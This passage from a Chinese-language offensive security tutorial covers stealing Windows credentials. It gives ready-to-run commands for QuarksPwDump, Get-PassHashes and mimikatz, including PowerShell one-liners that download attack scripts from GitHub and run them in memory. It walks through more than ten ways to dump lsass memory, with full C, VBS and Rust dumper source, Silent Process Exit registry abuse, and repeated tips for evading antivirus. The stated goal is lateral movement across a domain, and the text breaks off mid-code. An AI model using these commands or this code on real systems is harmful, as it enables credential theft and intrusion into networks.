PwDump7 同样使用管理员权限直接运行即可。
QuarkPwDump
QuarkPwDump 下载地址:
- https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe
- https://github.com/quarkslab/quarkspwdump
- https://github.com/PegasusLab/QuarksPwDump-off-line
运行以下命令导出用户 NTLM Hash
QuarkPwDump.exe --dump-hash-local
#导出本地用户哈希值
QuarksPwDump-off-line.exe --dump-hash-local
QuarksPwDump-off-line.exe -dhl
#导出内存中的域控哈希值
QuarksPwDump-off-line.exe -dhdc
QuarksPwDump-off-line.exe --dump-hash-domain-cached
QuarkPwDump 可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户、Bitlocker
QuarkPwDump 支持Windows XP/2003/Vista/7/8版本
QuarkPwDump 已经被大多数杀软标记为恶意软件
Get-PassHashes
Get-PassHashes 是一个 PS 脚本
下载地址:
- https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
- nishang项目也包含此脚本
导入 ps1 脚本,以管理员权限执行 Get-PassHashes 即可。
Import-Module .\Get-PassHashes.ps1
Get-PassHashes
或者绕过无法执行 PS 脚本的限制,直接无文件执行(推荐),同样需要管理员权限。
# 不使用代理
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"
#powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('C:\Users\Administrator\Desktop\Get-PassHashes\Get-PassHashes.ps1');Get-PassHashes"
# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"
mimikatz
mimikatz 是法国技术大神 Benjamin Delpy 使用 C 语言写的一款轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN 和 K8S 票据,还可以执行哈希传递、票据传递、构建黄金票据等操作。
mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases
使用 mimikatz 读取本地 SAM 文件,获取 NTLM Hash
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
或者使用 mimikatz 直接查看明文密码
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
另外也可以采用 PowerShell 远程加载 mimikatz,相较于直接拷贝 mimikatz.exe 到目标主机,这种方式隐藏性要更好些。
# 不使用代理
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
mimikatz衍生工具
最初的mimikatz由C语言编写,之后出现了许多用其他语言实现的衍生版本,能够适应多变的实战场景。下面列举用其他语言实现的mimikatz衍生版本:
- C#
- Powershell
- Python
通过SAM和System文件抓取密码
导出SAM和System文件
#通过reg的save选项将注册表中的SAM、System、SECURITY文件导出到本地磁盘
reg save HKLM\SAM sam.hiv
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SECURITY security.hiv
或者使用 ninjacopy 脚本,下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "c:\sam.hiv"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SECURITY" -LocalDestination "c:\security.hiv"
如果条件允许也可以使用 U 盘启动盘直接到SAM、System、SECURITY文件的对应目录下拷贝
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
读取SAM和System文件获取NTML Hash
使用mimikatz读取SAM和System文件
mimikatz.exe
#文件和mimikatz放在同一目录
lsadump::sam /sam:sam.hiv /system:system.hiv
使用Cain读取SAM和System文件
下载地址:
打开Cain后可能会提示关闭防火墙,否则Cain一些功能会不能使用,如下
点击“确定”即可,使用Cain读取SAM和System文件不受影响
找到 Cracker 模块里的 “LM & NTLM Hash”选项,点击加号,选择从 SAM 导入(“Import Hashes From a SAM database”),选择 SAM 文件后,点击下一步即可查看
cain 还可以直接查看明文密码,在 Decoders 里找到 LSA Secrets,导入 system.hiv 和 security.hiv 就可以看到明文的密码了。
使用SAMInside读取SAM和System文件
SAMInside是一款俄罗斯人出品的Windows密码恢复软件,支持WindowsNT/2000/XP/2003/Vista的操作系统,由于程序是以汇编语言编写的,故解密速度很快
直接在 File 菜单中选择导入 SAM 和 SYSTEM 文件即可
通过lsass.dmp文件抓取密码
这里我总结一下lsass,lsass是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登录系统时输入密码后,密码便会存储在lsass进程内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中。
注意这里提到的【使用可逆的算法进行加密】,这也是mimikatz等工具能读取lsass.dmp文件中密码的根本原因,即通过反向算法获取到明文密码
注意,访问lsass进程内存需要管理员权限,因此通过lsass.dmp文件抓取密码的前提是先提权至管理员权限
Q:“我都提权至管理员权限了还要密码做什么?”
A:“这里获取密码不仅仅可用于权限提升(比如提权至更高权限的用户),还可以用于横向移动(比如登录其他主机)、密码喷洒(通过管理员设置的密码生成字典,提高命中率)、撞库(密码复用)。域渗透不是单单拿下一台机器就行的,终极目标是拿下整个域甚至是整个内网。”
导出lsass.dmp文件
方法一:任务管理器导出 lsass.dmp 文件
在任务管理器中找到 lsass.exe 右击选择创建转储文件即可。
方法二:使用 Procdump 导出 lsass.dmp 文件
Procdump 是微软官方发布的工具,因此基本不会被杀软拦截
下载地址:https://download.sysinternals.com/files/Procdump.zip
procdump -accepteula -ma lsass.exe lsass.DMP
一些杀毒软件可能会将使用procdump.exe转储lsass.exe视为恶意行为,这是因为它们检测到了字符串"procdump.exe"和"lsass.exe"。因此,更隐蔽的方法是将lsass.exe的PID作为参数传递给procdump,而不是传递lsass.exe的名称。具体如下:
# 先查看lsass进程号PID
Get-Process -Name LSASS # powershell
tasklist | findstr "lsass.exe" # cmd
# 转储
procdump -accepteula -ma 进程号 lsass.DMP
这里给出一个自动化工具,适用于内网众多机器的情况:https://github.com/aas-n/spraykatz
方法三:使用 AvDump.exe 导出 lsass.dmp 文件
AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程的内存数据,因为它带有 Avast 杀软数字签名,所以不会被反病毒检测和查杀
下载地址:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2
使用方法如下:
# 同样要先查看lsass进程号PID
.\avdump64.exe --pid PID --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\test\lsass.dmp
或者
powershell -c ".\avdump64.exe --pid (Get-Process lsass).id --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\test\lsass.dmp"
或者
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do powershell -c ".\avdump64.exe --pid %i --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\test\lsass.dmp"
方法四:使用 comsvcs.dll 导出 lsass.dmp 文件
comsvcs.dll主要用于提供COM + Services服务。每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储,同时,comsvcs.dll文件是一个白名单文件
要使用 comsvcs.dll 导出 lsass.dmp 文件,除了当前是管理员权限,还有一个条件,就是需要开启SeDebugPrivilege权限,可以使用whoami /priv
命令进行查看。
这里值得注意的是,在cmd中SeDebugPrivilege权限是默认禁用的,而在powershell中是默认启用的
所以,这里给出一条通用的使用 comsvcs.dll 导出 lsass.dmp 文件的命令(cmd/powershell均可):
# 同样需要先查看lsass进程号PID
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump PID C:\test\lsass.dmp full"
# 不想额外查看lsass进程号的,可以写成组合命令,如下
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\test\lsass.dmp full"
或者
for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do powershell -c "C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %B C:\test\lsass.dmp full"
上面提到【可以使用Rundll32执行comsvcs.dll中的导出函数MiniDump实现进程的完全转储】,从中不难看出,实质上起到转储lsass作用的函数是MiniDump,只不过它封装在comsvcs.dll中。
因此,可以使用如下代码从comsvcs.dll中获得MiniDunpw导出函数,实现转储
#define UNICODE //使用UNICODE 对应main函数就是wmain
#include <Windows.h>
#include <stdio.h>
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline
);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
);
// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t* argv[]) {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
//从comsvcs.dll中获得MiniDunpw导出函数
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
//从NTdll中获得RtlAdjustPrivilege导出函数用户提权
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(LoadLibrary(L"ntdll.dll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
printf("Unable to resolve COMSVCS!MiniDumpW.\n");
return 0;
}
if (RtlAdjustPrivilege == NULL) {
printf("Unable to resolve RtlAdjustPrivilege.\n");
return 0;
}
// 获取SeDebugPrivilege,最后一个参数别设置为NULL
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);
//dump lsass.exe
MiniDumpW(0, 0, argv[1]);
printf("OK!\n");
return 0;
}
编译为exe执行即可
# 先获取lsass进程号PID
tasklist | findstr "lsass.exe"
# 进行转储
xxx.exe "PID lsass.dmp full"
此外,还可以使用下面这段VBS代码(同样是从comsvcs.dll中获得MiniDunpw导出函数)
Option Explicit
Const SW_HIDE = 0
If (WScript.Arguments.Count <> 1) Then
WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
WScript.StdOut.WriteLine("Usage: procdump <process>")
WScript.Quit
Else
Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
' get process id or name
pid = WScript.Arguments(0)
' connect with debug privilege
Set fso = CreateObject("Scripting.FileSystemObject")
Set svc = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
' if not a number
If(Not IsNumeric(pid)) Then
query = "Name"
Else
query = "ProcessId"
End If
' try find it
Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
query & " = '" & pid & "'")
If (list.Count = 0) Then
WScript.StdOut.WriteLine("Can't find active process : " & pid)
WScript.Quit()
End If
For Each proc in list
pid = proc.ProcessId
str = proc.Name
Exit For
Next
dmp = fso.GetBaseName(str) & ".bin"
' if dump file already exists, try to remove it
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Removing " & dmp)
fso.DeleteFile(dmp)
End If
WScript.StdOut.WriteLine("Attempting to dump memory from " & _
str & ":" & pid & " to " & dmp)
Set proc = svc.Get("Win32_Process")
Set startup = svc.Get("Win32_ProcessStartup")
Set cfg = startup.SpawnInstance_
cfg.ShowWindow = SW_HIDE
cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
pid & " " & fso.GetAbsolutePathName(".") & "\" & _
dmp & " full"
Call proc.Create (cmd, null, cfg, pid)
' sleep for a second
Wscript.Sleep(1000)
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Memory saved to " & dmp)
Else
WScript.StdOut.WriteLine("Something went wrong.")
End If
End If
执行方式如下
cscript xxx.vbs lsass.exe
这里再附上一个Rust语言实现
# main.rs文件
use std::{mem::{ size_of}, ffi::{CStr, OsString, c_void, OsStr}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::OpenProcessToken, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD}, Storage::FileSystem::CreateFileA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};
use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};
fn getPrivilege(handle : HANDLE){
unsafe{
let mut h_token: HANDLE = HANDLE::default();
let mut h_token_ptr: *mut HANDLE = &mut h_token;
let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
PrivilegeCount: 1,
Privileges: [LUID_AND_ATTRIBUTES {
Luid: LUID {
LowPart: 0,
HighPart: 0,
},
Attributes: SE_PRIVILEGE_ENABLED,
}],
};
// 打开当前进程的访问令牌
let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
if token != 0 {
let systemname = ptr::null_mut();
if LookupPrivilegeValueA(
systemname,
b"SeDebugPrivilege\0".as_ptr(),
&mut tkp.Privileges[0].Luid) != 0 {
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// println!("{:?}",tkp.Privileges[0].Attributes);
// 提升当前进程的 SeDebugPrivilege 权限
if AdjustTokenPrivileges(
h_token,
0,
&tkp as *const TOKEN_PRIVILEGES,
0,
ptr::null_mut(),
ptr::null_mut()) != 0 {
println!("Token privileges adjusted successfully");
} else {
let last_error = GetLastError() ;
println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
}
} else {
let last_error = GetLastError() ;
println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
}
// 关闭访问令牌句柄
CloseHandle(h_token);
} else {
let last_error = GetLastError() ;
println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
}
}
}
fn getProcess(LsassFile : &str) {
unsafe{
let mut h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if h_snapshot == INVALID_HANDLE_VALUE {
println!("Failed to call CreateToolhelp32Snapshot");
}
let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>() ;
process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;
if Process32First(h_snapshot, &mut process_entry) == 0 {
println!("Process32First error");
}
loop {
let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
if extfile.starts_with("lsass.exe"){
println!("[+] Got {:?} PID: {:?}",extfile,process_entry.th32ProcessID);
break;
}
if Process32Next(h_snapshot, &mut process_entry) == 0 {
println!("Failed to call Process32Next");
break;
}
}
let lsass_pid = process_entry.th32ProcessID;
let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsass_pid);
if process_handle == 0 {
println!("Fail to open the process ");
}
let lsassFile = LsassFile;
let lsassFile: Vec<u16> = OsStr::new(lsassFile).encode_wide().chain(Some(0).into_iter()).collect();
let lsasshandle = CreateFileW(
lsassFile.as_ptr() as *const u16,
GENERIC_ALL,
0,
ptr::null_mut(),
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
0,
);
if lsasshandle == INVALID_HANDLE_VALUE {
println!("Fail to open/create file {:?}",LsassFile.to_string());
}
let result = MiniDumpWriteDump(
process_handle,
lsass_pid,
lsasshandle,
MiniDumpWithFullMemory,
ptr::null_mut(),
ptr::null_mut(),
ptr::null_mut(),
);
println!("{:?}",result);
if result == 1
{
println!("Dump successful with file {:?}",LsassFile.to_string());
} else {
println!("Dump error {:?}", GetLastError());
}
let status = CloseHandle(lsasshandle);
if status != 1 {
error!("Fail to Close file handle");
}
}
}
fn main() {
let matches = App::new("SysWhispers3 - SysWhispers on steroids")
.arg(Arg::with_name("DumpFileName")
.short("f")
.long("DumpFileName")
.takes_value(true)
.help("DumpFileName Path like C:\\temp.dmp")).get_matches();
let mut out_file = "";
if matches.is_present("DumpFileName") {
out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
}else {
out_file = "lsass.dmp";
}
getProcess(out_file);
}
# Cargo.toml文件
[package]
name = "dump"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
clap = "2.33.0"
log = "0.4.14"
[dependencies.windows-sys]
version = "0.45"
features = [
"Win32_Foundation",
"Win32_Security",
"Win32_System_Threading",
"Win32_UI_WindowsAndMessaging",
"Win32_Storage",
"Win32_System",
"Win32_Storage_FileSystem",
"Win32_System_Diagnostics",
"Win32_System_SystemServices",
"Win32_System_Diagnostics_Debug",
"Win32_System_Diagnostics_ToolHelp",
"Win32_System_Kernel",
"Win32_System_Memory"
]
使用cargo build --release
命令编译为exe后执行即可
最后再附上一个C语言实现
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
void getPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
// 打开当前进程的访问令牌
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
// 获取 SeDebugPrivilege 权限的本地权限 ID
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
{
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升当前进程的 SeDebugPrivilege 权限
if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
{
cout << "Token privileges adjusted successfully" << endl;
// 关闭访问令牌句柄
CloseHandle(hToken);
}
else {
cout << "AdjustTokenPrivileges faile" << endl;
}
}
else {
cout << "LookupPrivilegeValue faile" << endl;
}
}
else {
cout << "OpenProcessToken faile" << endl;
}
}
void DumpLsass()
{
wchar_t ws[100];
_MiniDumpW MiniDumpW;
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
cout << "GetProcAddress MiniDumpW success" << endl;
swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full");
getPrivilege();
MiniDumpW(0, 0, ws);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DumpLsass();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int main() {
DumpLsass();
}
编译为exe文件后执行即可,转储文件的路径为C:\temp.bin
方法五:使用 SqlDumper.exe 导出 lsass.dmp 文件
Sqldumper.exe包含在 Microsoft SQL Server 中,该工具具有微软签名(即是微软官方发布的工具),可用于生成进程的内存转储。如果目标系统上安装了 Microsoft SQL Server 就会自带Sqldumper.exe(如果没安装也可以自己上传上去)。
这里提一下Microsoft SQL Server
此外,SqlDumper.exe的大小远小于procdump.exe
Sqldumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared路径下,其中number代表sql server的版本:
-
160
for SQL Server 2022 -
150
for SQL Server 2019 -
140
for SQL Server 2017 -
130
for SQL Server 2016 -
120
for SQL Server 2014 -
110
for SQL Server 2012 -
100
for SQL Server 2008 -
90
for SQL Server 2005
常见路径如下:
- C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe
- C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe
- C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe
使用 SqlDumper.exe 导出 lsass.dmp 文件
# 同样需要先查看lsass进程号PID
Sqldumper.exe PID 0 0x01100
或者
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do sqldumper.exe %i 0 0x01100
导出的文件就在执行目录下,默认命名为SQLDmpr0001.mdmp
方法六:使用 rdrleakdiag 导出 lsass.dmp 文件
默认自带的系统版本:
- Windows 10
- Windows 8.1
- Windows 8
- Windows7
- Windows Server 2016
注意,有些系统版本是不自带的(比如Windows Server 2008),不自带的情况可以传一个上去
使用 rdrleakdiag 导出 lsass.dmp 文件
# 同样需要先查看lsass进程号PID
rdrleakdiag /p PID /o C:\test\ /fullmemdmp /wait 1
会生成两个文件:results_进程pid.hlk
和minidump_进程pid.dmp
(即lsass.dmp文件)
值得一提的是,每次开机只能执行一次此命令,想要再次执行必须重启
还有就是,执行完此命令是没有任何回显的,如果lsass.dmp过大的话转储时间会比较长,具体如下
方法七:使用 createdump.exe 导出 lsass.dmp 文件
如果目标系统上安装了.Net5,则可以利用.Net5自带的 createdump.exe 导出 lsass.dmp 文件
createdump.exe 也具有微软签名(即是微软官方发布的工具)
# 同样需要先查看lsass进程号PID
powershell -c ".\createdump.exe -u -f lsass.dmp PID"
方法八:使用 DumpMinitool 导出 lsass.dmp 文件
DumpMinitool是Visual Studio 2022自带的一个工具,具有微软签名,实战中多次实现免杀
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do DumpMinitool.exe --file lsass.dmp --processId %i --dumpType Full
方法九:使用 dump64.exe 导出 lsass.dmp 文件
dump64.exe也是Visual Studio自带的一个工具,具有微软签名
# 同样需要先查看lsass进程号PID
powershell -c ".\dump64.exe PID C:test\lsass.dmp"
这个工具我实测效果不太好。有时需要反复执行才能导出,有时则无法导出
方法十:利用Silent Process Exit进行Dump
Silent Process Exit即静默退出,这种调试技术可以派生werfault.exe进程,可以用来运行任意程序、转存任意进程的内存文件、弹出窗口。当某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,因此可以利用该行为进行目标进程内存的Dump。
这里介绍一下静默退出,如下
总结一下就是,静默退出是一种机制,用于在进程崩溃的时候收集错误信息(即在进程崩溃的时候触发)
根据上面提到的【当某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存】,想要转储lsass进程,就要使其崩溃退出,但lsass进程的崩溃退出意味着系统将重启,在实战中这显然不可行。梳理逻辑可以发现,进程崩溃时会触发静默退出,Windows错误报告服务得知静默退出后,会调用werfault.exe去Dump崩溃进程的内存,所以仅需触发静默退出就可以调用werfault.exe,而无需使进程真正崩溃。
这时候就要使用一个名为 RtlReportSilentProcessExit 的Windows API,它会与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动werfault.exe转储现有进程。调用此API不会导致进程真正崩溃退出。
RtlReportSilentProcessExit API 是封装在 Ntdll.dll 中的导出函数。
这里介绍一下Windows错误报告服务(Windows Error Reporting Service,缩写为WER,又称WER服务),具体如下:
可以使用如下代码调用RtlReportSilentProcessExit API,从而利用Silent Process Exit进行lsass进程的Dump
#include "windows.h"
#include "tlhelp32.h"
#include "stdio.h"
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"C:\\temp"
#define MiniDumpWithFullMemory 0x2
typedef NTSTATUS(NTAPI * fRtlReportSilentProcessExit)(
HANDLE processHandle,
NTSTATUS ExitStatus
);
BOOL EnableDebugPriv() {
HANDLE hToken = NULL;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
printf(" - 获取当前进程Token失败 %#X\n", GetLastError());
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
printf(" - Lookup SE_DEBUG_NAME失败 %#X\n", GetLastError());
return FALSE;
}
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL)) {
printf(" - AdjustTokenPrivileges 失败: %#X\n", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL setRelatedRegs(PCWCHAR procName) {
HKEY hkResSubIFEO = NULL;
HKEY hkResSubSPE = NULL;
DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
DWORD reportingMode = MiniDumpWithFullMemory;
DWORD dumpType = LOCAL_DUMP, retstatus = -1;
BOOL ret = FALSE;
PWCHAR subkeyIFEO = (PWCHAR)malloc(lstrlenW(IFEO_REG_KEY)*2 + lstrlenW(procName)*2 + 5);
wsprintf(subkeyIFEO, L"%ws%ws", IFEO_REG_KEY, procName);
PWCHAR subkeySPE = (PWCHAR)malloc(lstrlenW(SILENT_PROCESS_EXIT_REG_KEY)*2 + lstrlenW(procName)*2 + 5);
wsprintf(subkeySPE, L"%ws%ws", SILENT_PROCESS_EXIT_REG_KEY, procName);
printf(" - [DEBUGPRINT] Image_File_Execution_Options: %ws\n", subkeyIFEO);
printf(" - [DEBUGPRINT] SilentProcessExit: %ws\n", subkeySPE);
do {
// 设置 Image File Execution Options\<ProcessName> 下GlobalFlag键值为0x200
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeyIFEO, &hkResSubIFEO))) {
printf(" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n", GetLastError());
break;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlag, sizeof(globalFlag)))) {
printf(" - 设置注册表键 GlobalFlag 键值失败: %#X\n", GetLastError());
break;
}
// 设置 SilentProcessExit\<ProcessName> 下 ReporingMode/LocalDumpFolder/DumpType 三个值
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeySPE, &hkResSubSPE))) {
printf(" - 打开注册表项 SilentProcessExit 失败: %#X\n", GetLastError());
break;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingMode, sizeof(reportingMode)))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER)*2))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpType, sizeof(dumpType)))) {
printf(" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n", GetLastError());
break;
}
printf(" - 注册表设置完成 ...\n");
ret = TRUE;
} while (FALSE);
free(subkeyIFEO);
free(subkeySPE);
if (hkResSubIFEO)
CloseHandle(hkResSubIFEO);
if (hkResSubSPE)
CloseHandle(hkResSubSPE);
return ret;
}
DWORD getPidByName(PCWCHAR procName) {
HANDLE hProcSnapshot;
DWORD retPid = -1;
hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe;
if (INVALID_HANDLE_VALUE == hProcSnapshot) {
printf(" - 创建快照失败!\n");
return -1;
}
pe.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32First(hProcSnapshot, &pe)) {
printf(" - Process32First Error : %#X\n", GetLastError());
return -1;
}
do {
if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} while (Process32Next(hProcSnapshot, &pe));
CloseHandle(hProcSnapshot);
return retPid;
}
INT main() {
PCWCHAR targetProcName = L"lsass.exe";
DWORD pid = -1;
HMODULE hNtMod = NULL;
fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;
HANDLE hLsassProc = NULL;
NTSTATUS ntStatus = -1;
